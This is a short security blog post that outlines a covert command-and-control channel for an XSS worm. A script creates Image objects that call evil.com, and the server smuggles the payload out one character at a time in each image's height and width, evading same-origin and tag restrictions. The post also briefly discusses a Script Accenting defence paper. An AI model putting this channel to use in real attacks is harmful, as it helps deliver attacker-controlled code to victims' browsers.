There has been a lot of research into ways of getting around the same origin policy. What if the browser sandbox we’re all trying to figure out a way of implementing prevents you from adding various tags into the DOM dynamically? So, I imagine a common “sandbox” would prevent bad guys from dynamically inserting <script>, <link>, and <iframe> elements into the DOM. Is there anything else we could do to bypass the same origin policy? This is what the question is (or what it turned into as I was exploring it the other day) when trying to figure out an XSS worm C&C channel in a post-content restrictions world.
Here’s how it works.
- Client dynamically creates an Image() and points the source to http://evil.com/evil.cgi?password=somesecret
- Server responds with an image that has a 16 pixels tall and 1 pixel wide (16 represents in this phase the total length of the payload)
- Client then starts a loop that iterates 16/2 times:
- Client dynamically creates a new Image() and points the source to http://evil.com/evil.cgi?password=somesecret&i=<loop_index>
- The new image that has height x, width y
- Client appends ASCII character value of x onto payload string
- Client appends ASCII character value of y onto payload string
- Client now has authenticated, 16-length payload to do whatever they want with
On this topic, my boss Jeff Williams pointed me to a neat paper about improving the reliability of the SOP implementations in IE using a technique called Script Accenting. I haven’t heard too much about this out there on the Interwebs besides a brief analysis on RSnake’s site and it’s really effective for preventing cross-frame SOP violations, but not for scripts that were injected using XSS. Either way, great read but I’m not 100% convinced of its reliability – something about using XOR as a security mechanism, even with their well-reasoned defenses, tickles my Spidersense as being a shaky precipice.
Anyways, happy January!